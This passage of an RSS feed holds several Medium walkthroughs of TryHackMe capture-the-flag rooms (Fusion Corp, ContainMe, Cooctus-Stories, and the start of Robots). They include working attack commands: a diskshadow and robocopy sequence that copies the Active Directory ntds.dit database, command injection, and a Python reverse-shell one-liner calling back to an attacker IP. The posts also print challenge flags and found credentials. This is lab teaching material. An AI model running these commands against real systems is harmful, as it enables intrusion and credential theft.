containing:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*-2gJYl0kB1WbfEwHPljfag.png" /></figure><pre>set verbose onX<br>set metadata C:\Windows\Temp\meta.cabX<br>set context clientaccessibleX<br>set context persistentX<br>begin backupX<br>add volume C: alias cdriveX<br>createX<br>expose %cdrive% E:X<br>end backupX</pre><p>Subsequently, access was established via evil-winrm, logged in as jmurphy.</p><pre>New-Item -Type Directory C:\Temp<br>Set-Location C:\Temp<br>upload /backup.txt<br>diskshadow /s backup.txt<br><br>#Once that&#39;s done<br>robocopy /b E:\Windows\ntds . ntds.dit<br>reg save hklm\system c:\temp\system<br>download ntds.dit </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*RuLWKHnZkQwxhaoR-vOOjw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*O4jlr8UYm6fh8caYhTeCUw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*foT39edSgsshS3Jb6gP0RQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*bfUbfs2R8pLD9LSf2hbJrg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*Q2fkDpUNaCBwQeOW-8luXw.png" /></figure><h3>Flag Retrieval</h3><p>With Administrator privileges, the final step was to locate and retrieve the flags on the system. The Get-ChildItem PowerShell command was used to recursively search the file system for files containing the &quot;THM{&quot; flag format. The flags were located in the desktop folders of the lparker, jmurphy, and Administrator user accounts.</p><h3>Conclusion</h3><p>The Fusion Corp TryHackMe room provides a valuable learning experience in penetration testing Windows domain environments. The exercise covers essential techniques such as network scanning, web enumeration, credential harvesting, privilege escalation, and data exfiltration. By successfully completing this room, learners can enhance their understanding of common Windows vulnerabilities and improve their skills in identifying and exploiting these weaknesses. This walkthrough demonstrates a practical application of cybersecurity principles and tools, contributing to the development of essential skills for aspiring penetration testers and security professionals.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0101071f60c8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ContainMe TryHackMe Walkthrough | by Yoel Yosief]]></title>
            <link>https://medium.com/@Yoel_Orit01/containme-tryhackme-walkthrough-by-yoel-yosief-d72d94213d3b?source=rss-b2673b8ac1c7------2</link>
            <guid isPermaLink="false">https://medium.com/p/d72d94213d3b</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[web-exploitation]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[lfi-vulnerability]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Yoel Yosief [ Orit01 ]]]></dc:creator>
            <pubDate>Thu, 09 Apr 2026 12:11:45 GMT</pubDate>
            <atom:updated>2026-04-09T12:11:45.959Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/200/1*3hdky3bN4a6Km8T556akXA.jpeg" /></figure><p><em>Hack into me and look for the hidden flag. Look beyond the horizon.</em></p><h3>Reconnaissance and Enumeration</h3><p><strong>Nmap Scan:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PWv4Gaqf_wD2WoN7HrxPKA.png" /></figure><p>Based on our nmap scan we have four ports open</p><h4>Web enumeration</h4><p>We have nothing on the home page;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gv5_33S20BEzqHE9MfrNMg.png" /></figure><p>Just tells us there is a apache web server</p><p><strong>Ffuf — web directory enumeration</strong></p><pre>fuff -u http://102.34.34.34/FUZZ -w /usr/share/wordlists/common.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A6Id92RlyrCvTckQ_ZZ3hw.png" /></figure><p>Trying to check for hidden directories on the webpage.</p><p><strong><em>index.php</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1oE074T-FEt2zR3XZvZCcw.png" /></figure><p>On index.php, we can see that the files showed are owned by root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*EV3l71QslfgNZkAqRI1iow.png" /></figure><p><strong>info.php</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*34eo9tstoXIKu_tepSi7KQ.png" /></figure><h3>Exploitation</h3><p>&lt;!-- where is the path ? --&gt;</p><p>That strongly suggests the challenge is about a local file inclusion / path disclosure or finding the filesystem path that the web app is operating in.</p><p>how about we try it as a parameter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ys2__AiefxNOTCqngFPYKg.png" /></figure><p>The system appears to allow for file inspection using a command similar to “ls -la.” It may be possible to inject commands by using a semicolon (;) to terminate the initial command and execute arbitrary commands.</p><p>We can try to see the /etc/passwd</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uDo_qegkOzIg2aG8AbWIVw.png" /></figure><p>Given the ability to execute commands, a reverse shell can be established.</p><p>The proc_open function in PHP has proven effective for this purpose.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y-Jg-fkmen5mdcV8DzH6CA.png" /></figure><p>Inject the php reverse shell into the web :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tihqE6Ctbew6-3bllywnVw.png" /><figcaption>Inject the php</figcaption></figure><p>set up listener and get a reverse shell:</p><pre>nc -lvnp 1339</pre><p>And spawn a more stable shell to make interacting with it easier.</p><pre>python -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;<br>ctrl + z<br>stty raw -echo <br>fg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*-g_bZscVD7kEGseCqapzCA.png" /></figure><h3>Escalation</h3><p>Now that we have access to an account, let’s attempt to escalate our privileges from the “mike” account to root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*tLimA3G_H3Vi-7nKaq49VA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v-7g3eM9gpYW7gEE5B4Rtw.png" /></figure><p>Examining the files in <em>Mike’s directory</em>, an executable file was identified.</p><p>Given the lack of utility for this particular file, a review of file permissions is recommended.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*6I-4TFctXugKf118T7jlww.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*43fb40ZlGEXbJu6SweYP6A.png" /></figure><p>Checking one of the files looks like it’s owned by root and we can execute it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*9LymTP5RGPs8RNxpLMVeZg.png" /></figure><p>Executing it shows us that it’s pretty much the same as the one in mike’s directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p_2b34-5anBJje3Gp94h7w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B7tCpbTUQJ14A0C5UPwqtQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UcBGBCLMHda8nkjAGCXXVQ.png" /></figure><p>By manipulating the input using “mike,” we were able to gain root privileges.</p><p>However, examination with <strong>ip a</strong>reveals that these privileges are limited to the<strong> host1</strong> container, which has a private IP address of 172.16.20.2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6wZDQePXsUtX-N4UNy0w2w.png" /></figure><pre>ss -tulnp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*sUlQ_czRvKf3gDefcrFeyg.png" /></figure><p>The scan indicates that MySQL is running on port 3306.</p><p>Good thing is now we have access to the .<strong>ssh</strong> folder of mike.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*tLimA3G_H3Vi-7nKaq49VA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*_nZW8BrEmVlRw7FAA6MV9A.png" /></figure><p>Saving it and trying to ssh from my machine, looks like we aren’t able to access mike’s account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*rybIZhmMVzUY4xEVi9zYTA.png" /></figure><p>“Let’s investigate whether the alternative private IP address is functional. As we lack precise knowledge of Mike’s machine’s IP address, we should conduct a network scan using nmap.”</p><p>As nmap is unavailable on this machine, let&#39;s transfer a binary from this GitHub repository. <a href="https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/nmap">https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/nmap</a></p><p>Transferring it to the target machine with a python http server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*WD6OtqOBm0NT7tI119oieA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*-qPkBttS8kKPdQpedLMh8w.png" /></figure><p>Then nmap scan on the target machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*bHBfFGAJzXyeTcsokMsPpg.png" /></figure><p>The 172.16.20.0 network scan reveals another IP address ending in .6 with an open SSH port.</p><p>Lets connect through SSH to that ip address:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*qgfXSmVtkdHzPYkJONYgrQ.png" /></figure><p>Nice, looks like we were correct.</p><p>Checking /etc/passwd we can see a mysql server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*H9zQPyNdh1s2gqmWlQsXpw.png" /></figure><p>Upon successfully authenticating with the username ‘mike’ and the password ‘password’, access has been granted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N0tWgm32t4gw-7ikN8nnfA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vr0EZA2D_bHcftG16X3EYQ.png" /></figure><p>With the credentials for root and mike successfully obtained, the next step is to navigate directly to the /root directory, as this is a common location for the root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*6H2ZjIuNNpjaZE9FFv8PCA.png" /></figure><blockquote><em>What is the flag?</em></blockquote><p><strong>Answer:</strong> THM{_Y0U_F0UND_TH3_C0NTA1N3RS_}</p><h3>Conclusion</h3><p>The “ContainMe” TryHackMe challenge involves exploiting a series of vulnerabilities in a containerized web application. Starting with reconnaissance and<strong> LFI</strong>, the attacker gains an initial shell and escalates privileges within the first container.</p><p>Network scanning reveals a second container with SSH enabled, which is accessed using reused credentials, ultimately leading to the discovery of the flag in the root directory. The challenge highlights common web application vulnerabilities and the importance of secure container configurations.</p><p><em>Thank You for Reading</em></p><p><em>Yoel Yosief {Orit01}</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d72d94213d3b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cooctus-Stories TryHackMe Walkthrough | by Yoel Yosief]]></title>
            <link>https://medium.com/@Yoel_Orit01/cooctus-stories-tryhackme-walkthrough-by-yoel-yosief-30a63b9786ff?source=rss-b2673b8ac1c7------2</link>
            <guid isPermaLink="false">https://medium.com/p/30a63b9786ff</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[gcc-compilers]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hashing]]></category>
            <dc:creator><![CDATA[Yoel Yosief [ Orit01 ]]]></dc:creator>
            <pubDate>Sat, 04 Apr 2026 09:51:44 GMT</pubDate>
            <atom:updated>2026-04-04T09:51:44.429Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*IG9ca9buRWxjeRF5IBH_SQ.png" /></figure><p><strong>Previously on Cooctus Tracker</strong><br><em>Overpass has been hacked! The SOC team (Paradox, congratulations on the promotion) noticed suspicious activity on a late night shift while looking at shibes, and managed to capture packets as the attack happened. (From </em><a href="https://tryhackme.com/room/overpass2hacked"><em>Overpass 2 — Hacked</em></a><em> by </em><a href="https://tryhackme.com/p/NinjaJc01"><em>NinjaJc01</em></a><em>)</em></p><p><strong>Present times</strong><br>Further investigation revealed that the hack was made possible by the help of an insider threat. Paradox helped the Cooctus Clan hack overpass in exchange for the secret shiba stash. Now, we have discovered a private server deep down under the boiling hot sands of the Saharan Desert. We suspect it is operated by the Clan and it’s your objective to uncover their plans.</p><p><strong>Note: </strong>A stable shell is recommended, so try and SSH into users when possible.</p><p>Answer the questions below</p><h4>Paradox is nomming cookies</h4><p><em>Hint: Confront the CAT!</em></p><h3>1. Reconnaissance &amp; Scanning</h3><p><strong>Nmap Scan;</strong></p><pre>nmap -sVC -p- -Pn -T4 10.89.34.32</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2jLIFwYXbhdSRP7r5rm4VQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XqGqP9cgpgAs3E0B02rmAQ.png" /></figure><h4>Service(s) discovered</h4><ul><li>2049/tcp open nfs_acl</li><li>2049/udp open nfs_acl and related NFS ACL services (nfs_ac*, including nfs_aclmungr / nfs_aclockmgr style entries)</li><li>Port 8080/tcp open http with:</li><li>HTTP server header: Werkzeug/0.14.1 (Python 3.6.9)</li><li>HTTP title: CCHQ</li></ul><h3>NFS</h3><p>Due to the presence of NFS, a file with sensitive content may be shared.</p><p>I used showmount cmd to show shared files</p><pre>showmount -e 10.34.14.53</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*3oNTnrFAiWQjiAuA9MGd0g.png" /></figure><p>The following NFS network share contains sensitive credentials. Access should be restricted immediately.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*1A1a7d-wotWTlfMNk0tzVg.png" /></figure><p><em>Username: paradoxial.test</em></p><p><em>Password: ShibaPretzel79</em></p><h3>Web</h3><p>The original web homepage shows a website with nothing of interest:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nu4Nsx4SsGINgyoC2hNsiw.png" /></figure><p>A web service is operational on port 8080. While a <em>robots.txt</em> file is absent, enumeration has identified two distinct locations within the service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*acYO5uf9QpUU2FpqGU_jSQ.png" /></figure><p>We can login (<a href="http://10.10.94.63:8080/login">http://10.10.94.63:8080/login</a>) using the credentials found just previously. Once logged in, we are redirected to the /cat page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B1vHAjKTkVB3Kb1VpFSDZg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qw7my3kI5R1IJGD6kmQdxw.png" /></figure><p><strong>login:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7nP2mrp6AbAOKyKMI1xvxg.png" /></figure><h3>Reverse Shell</h3><p>Through experimentation with the form and various payloads, a successful <em>python reverse shell</em> payload was crafted and transmitted.</p><pre>python3 -c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;10.8.50.72&quot;,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/bash&quot;,&quot;-i&quot;]);&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YKt7sxDIkNVIuQlKnVHlfw.png" /></figure><p>We now have a reverse shell:</p><pre>$ nc -nlvp 4444<br>listening on [any] 4444 ...<br>connect to [10.8.50.72] from (UNKNOWN) [10.10.94.63] 35218<br>bash: cannot set terminal process group (726): Inappropriate ioctl for device<br>bash: no job control in this shell<br>paradox@cchq:~$ pwd<br>pwd<br>/home/paradox</pre><h3>Paradox Flag</h3><pre>paradox@cchq:~$ ll<br>ll<br>total 36<br>drwxr-xr-x 5 paradox paradox 4096 Feb 22 18:48 ./<br>drwxr-xr-x 6 root    root    4096 Jan  2 10:24 ../<br>lrwxrwxrwx 1 paradox paradox    9 Feb 20 17:13 .bash_history -&gt; /dev/null<br>-rw-r--r-- 1 paradox paradox  220 Jan  2 10:24 .bash_logout<br>-rw-r--r-- 1 paradox paradox 3882 Feb 20 21:50 .bashrc<br>drwx------ 2 paradox paradox 4096 Jan  2 18:31 .cache/<br>drwxr-xr-x 4 paradox paradox 4096 Jan  1 22:03 CATapp/<br>drwx------ 3 paradox paradox 4096 Jan  2 18:31 .gnupg/<br>-rw-r--r-- 1 paradox paradox  807 Jan  2 10:24 .profile<br>-rw------- 1 paradox paradox   38 Feb 20 20:23 user.txt<br>paradox@cchq:~$ cat user.txt<br>cat user.txt<br>THM{2dccd1ab3e03990aea77359831c85ca2}</pre><h3>Find out what Szymex is working on</h3><p><em>Hint: Locating shipment…</em></p><h3>The SniffingCat.py script</h3><p>Add your SSH public key to /home/paradox/.ssh/authorized_keys and connect via SSH directly as paradox. When we connect, we can notice a message displayed every minute:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*45hUwWjs3HsRWEJLG2Z5qw.png" /></figure><p><strong>note_to_para:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qaCR5Bin--jyEfwukpRdXw.png" /></figure><p>Checking the crontab confirms that the script is called by szymex and runs every minute:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ze7hfVIOXoLusvSfN8BD4w.png" /></figure><pre>#!/usr/bin/python3<br>import os<br>import random<br>def encode(pwd):<br>    enc = &#39;&#39;<br>    for i in pwd:<br>        if ord(i) &gt; 110:<br>            num = (13 - (122 - ord(i))) + 96<br>            enc += chr(num)<br>        else:<br>            enc += chr(ord(i) + 13)<br>    return enc<br>x = random.randint(300,700)<br>y = random.randint(0,255)<br>z = random.randint(0,1000)<br>message = &quot;Approximate location of an upcoming Dr.Pepper shipment found:&quot;<br>coords = &quot;Coordinates: X: {x}, Y: {y}, Z: {z}&quot;.format(x=x, y=y, z=z)<br>with open(&#39;/home/szymex/mysupersecretpassword.cat&#39;, &#39;r&#39;) as f:<br>    line = f.readline().rstrip(&quot;\n&quot;)<br>    enc_pw = encode(line)<br>    if enc_pw == &quot;pureelpbxr&quot;:<br>        os.system(&quot;wall -g paradox &quot; + message)<br>        os.system(&quot;wall -g paradox &quot; + coords)</pre><p>The script above from<strong> SniffingCat.py </strong>provides us with the encoded form of a password: pureelpbxr. Now, we need to reverse it.</p><h3>Reverse engineer the password</h3><p>The script is applying a transformation to the password in clear (saved in mysupersecretpassword.cat) and displays the message if the encoded password is equal to pureelpbxr. Let’s build a quick and dirty python script that will get each letter of the alphabet, and apply the transformation, to build a conversion table.</p><pre>cat test.py                            <br>#!/usr/bin/python3</pre><pre>def encode(pwd):<br>    enc = &#39;&#39;<br>    for i in pwd:<br>        if ord(i) &gt; 110:<br>            num = (13 - (122 - ord(i))) + 96<br>            enc += chr(num)<br>        else:<br>            enc += chr(ord(i) + 13)<br>    return encs = &#39;abcdefghijklmnopqrstuvwxyz&#39;<br>clear = list(s)<br>encoded = list(encode(s))pwd = &quot;pureelpbxr&quot;<br>dec = &quot;&quot;for i in pwd:<br>    dec += clear[encoded.index(i)]print(dec)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*FX5woszqyIneExu3jkeJJQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*WlXJsrMaqdNsLKpWTZD5fg.png" /></figure><h4>Verify:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*HpUTQh_yCGC24suBTSsKHw.png" /></figure><h3>Lateral move (paradox -&gt; szymex)</h3><p>Now we can move to szymex and read the password:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*4EVejXPkmxwEUHhTix0KTQ.png" /></figure><h3>Find out what Tux is working on</h3><p><em>Hint: Combine and crack</em></p><h3>First fragment</h3><p>From the note left in the home folder, we understand that we have to collect 3 fragments:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*khCo7Vi1tpHH3Mjy_VX3Nw.png" /></figure><p>The first fragment can be found in the nootcode.c program. Compiling the program will help us:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sfnzGyFuDRW2hI68i2juIQ.png" /></figure><p><strong><em>cd tuxling_1:</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*5MxpwRJFNIjttqBvZxKx4w.png" /></figure><p>Compile the program with gcc:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9pwOscUPiSgyZSTAPZagrA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*vVO80sOhzC7XLZfBKNIcKQ.png" /></figure><p>First fragment: f96050ad61</p><h3>Second fragment</h3><p>Based on the name of the directory where we found the 1st fragment, we can search for other folders with the same name structure:</p><pre>szymex@cchq:/home/tux$ find / -type d -name &quot;tuxling*&quot; 2&gt;/dev/null<br>/home/tux/tuxling_3<br>/home/tux/tuxling_1<br>/media/tuxling_2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*Lybi4ylYmqXTmSC0rdDyTw.png" /></figure><p>The second fragment is in a PGP crypted file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*gs6G8s5aBMY4kK35VYr31w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*KMFVDEbpkZzsfJhEA-Z8lQ.png" /></figure><p>To decrypt the message, let’s import the private key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*qQX1An4QdRjc1nVl6REr4A.png" /></figure><p>decrypt the key</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CZc-S99MJcUldtPKZsP24w.png" /></figure><p>Second fragment: 6eaf62818d</p><h3>Third fragment</h3><p>The 3rd and last fragment was in a hidden directory in tux’s home:</p><pre>szymex@cchq:/home/tux$ cat tuxling_3/note <br>Hi! Kowalski here. <br>I was practicing my act of disappearance so good job finding me.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*t-3ACRJQonPLWP10tnXFYA.png" /></figure><h3>Crack fragments hash</h3><p>All fragments join the following hash: f96050ad616eaf62818d637b56db1552</p><p>Using <a href="https://crackstation.net/">crackstation</a>, we find that the password is tuxykitty.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f65gCkfUuwIxMR1XQl80kg.png" /></figure><p>Or you can use hashcat</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*WcRo5EZNoF59MF7WAq9HEg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mDUtfnLsWg8jPnVsgl820w.png" /></figure><h3>Tux’s flag</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*DwoIbjL-AVShk1U4uqUX4w.png" /></figure><h3>Find out what Varg is working on</h3><p><em>Hint: Boot sequence initiated…</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*C6bAT-XBeW7grqwdjAcMKA.png" /></figure><p>tux can run the CooctOS.py program as varg without password:</p><p>We can’t read the python script, but there is a .git repository in the cooctOS_src folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*8xualvTbITeCu7bvQ2mcvw.png" /></figure><p>Running git show reveals the source of the program and discloses new credentials:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nLufiHU6EBZn0y7sOb1IFA.png" /></figure><blockquote><strong>Password: slowroastpork</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*hf_jutPtFqH3y0YY0ui6HQ.png" /></figure><h3>Lateral move (tux -&gt; varg)</h3><p>Now, we can connect as varg and read the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*CUUmZ0cemihoXo70Ocz8jQ.png" /></figure><h3>Get full root privileges</h3><p><em>Hint: To mount or not to mount. That is the question.</em></p><p>Varg can run umount as root without password. However, checking on GTFOBins doesn’t reveal any privilege escalation with umount.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aKz_GL8duFnyox-O-_ROPg.png" /></figure><p>Checking in the fstab file reveals that there is a mounted partition in /opt/CooctFS:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cyAWyV4PnrZxk1K2417dTw.png" /></figure><p>Unmounting the partition reveals a root folder:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*SlUqd4DXpY1ugjuzRFiQbQ.png" /></figure><p>And there is a root.txt file there, but it’s not the root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*PLffGczAceW7OoCX5iEHZQ.png" /></figure><h3>Root flag</h3><p>That said, we can find the root SSH private key (/opt/CooctFS/root/.ssh/id_rsa).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*-LMzKJbfcvUABej_3nF9ZQ.png" /></figure><p>Save it locally, give it the proper permissions, and use it to connect as root:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*cilh6VyVwwKQSBDR_YbRZw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*ryNyoe6o37aB9PIKxWA4VA.png" /></figure><p><strong>Connect through SSH:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F8O16NjuwGiDgDf-I44JqQ.png" /></figure><p>Root flag: THM{H4CK3D_BY_C00CTUS_CL4N}</p><p><strong><em>Thank you for Reading!!!</em></strong></p><p><em>Yoel Yosief {Orit01}</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=30a63b9786ff" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Robots CTF | TryHackMe Walkthrough]]></title>
            <link>https://medium.com/@Yoel_Orit01/robots-ctf-tryhackme-walkthrough-a063712715a8?source=rss-b2673b8ac1c7------2</link>
            <guid isPermaLink="false">https://medium.com/p/a063712715a8</guid>
            <category><![CDATA[web-exploitation]]></category>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ssrf-attack]]></category>
            <category><![CDATA[rce-vulnerability]]></category>
            <dc:creator><![CDATA[Yoel Yosief [ Orit01 ]]]></dc:creator>
            <pubDate>Tue, 31 Mar 2026 13:05:08 GMT</pubDate>
            <atom:updated>2026-03-31T13:05:08.976Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kMK_nWGmViHNfdGJQQ_-Dw.png" /></figure><blockquote><em>A (small) tribute to I. Asimov.</em></blockquote><p>This Capture The Flag (CTF) walkthrough details the “<a href="https://tryhackme.com/room/robots">Robots</a>” challenge on TryHackMe, which illustrates the critical importance of robust access control mechanisms and the potential vulnerabilities arising from exposing sensitive directories. The challenge begins by enumerating the robots.txt file to identify hidden directories. This enumeration leads to the discovery of sensitive credentials, facilitating initial access. Subsequently, privilege escalation is achieved through a SUID misconfiguration, culminating in full system compromise. This write-up underscores the inherent risks associated with misconfigured access controls, inadequate credential management, and improperly configured file permissions within Linux environments.</p><p>Room Link: <a href="https://tryhackme.com/room/robots">https://tryhackme.com/room/robots</a></p><h3>Reconnaissance</h3><p>To gain an initial understanding of the target system’s open ports, a ping scan was conducted using the following command:</p><pre>sudo nmap  -sVC -p- -Pn -T4 &lt;ip&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*alRqFz1I9J2TefUgTUxwsw.png" /></figure><p>During this process, a robots.txt file was identified, revealing the following disallowed entries:</p><pre>/harming/humans<br>/ignoring/human/orders<br>/harm/to/self</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*6ORNoOjJhaMTT5ML2Cuy1Q.png" /></figure><p>These paths appear to allude to Asimov’s Three Laws of Robotics, potentially indicating subsequent steps. These directories warrant further investigation to ascertain their contents and relevance.</p><p>To streamline navigation, the target IP address was added to /etc/hosts with the hostname robots.thm.</p><h3>Web Exploration</h3><p>Initial access to the website resulted in a 403 Forbidden error on the main page. To circumvent this restriction, the disallowed paths specified in robots.txt were examined.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6uEqEu1E1xVL4LcaWYerMQ.png" /></figure><p>I also performed a web directory scan -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eoagkv4PXF0DabCAY4NCSQ.png" /></figure><p><strong>Port 9000: Web enumeration</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k0OarFoP1RwfbBfDVb3qhA.png" /></figure><p>found a directory /<strong>index.html</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ykWoMza1oAEiVfE_16ZNJQ.png" /></figure><p>It indicated the presence of an <strong>Apache web server</strong>.</p><blockquote><strong>The majority of these paths also returned a 403 Forbidden response, with the exception of </strong><strong>/harm/to/self, which redirected to a &quot;recruitment campaign&quot; page.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s8247I4KRtjWM3el0hAYxg.png" /></figure><p>This page features both registration and login forms, representing potential attack vectors that merit further investigation.</p><p>The registration page presented the following notable hint:</p><p>“<strong>An admin monitors new users</strong>.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dGx0aXQnOMSC-YDe4DFoWw.png" /></figure><p>Drawing from previous experience, this suggests the possibility of a client-side attack targeting the administrator. However, prior to pursuing this avenue, attention was directed to password hashing methodology.</p><p>The page specifies that passwords adhere to the following format:</p><figure><img alt="" 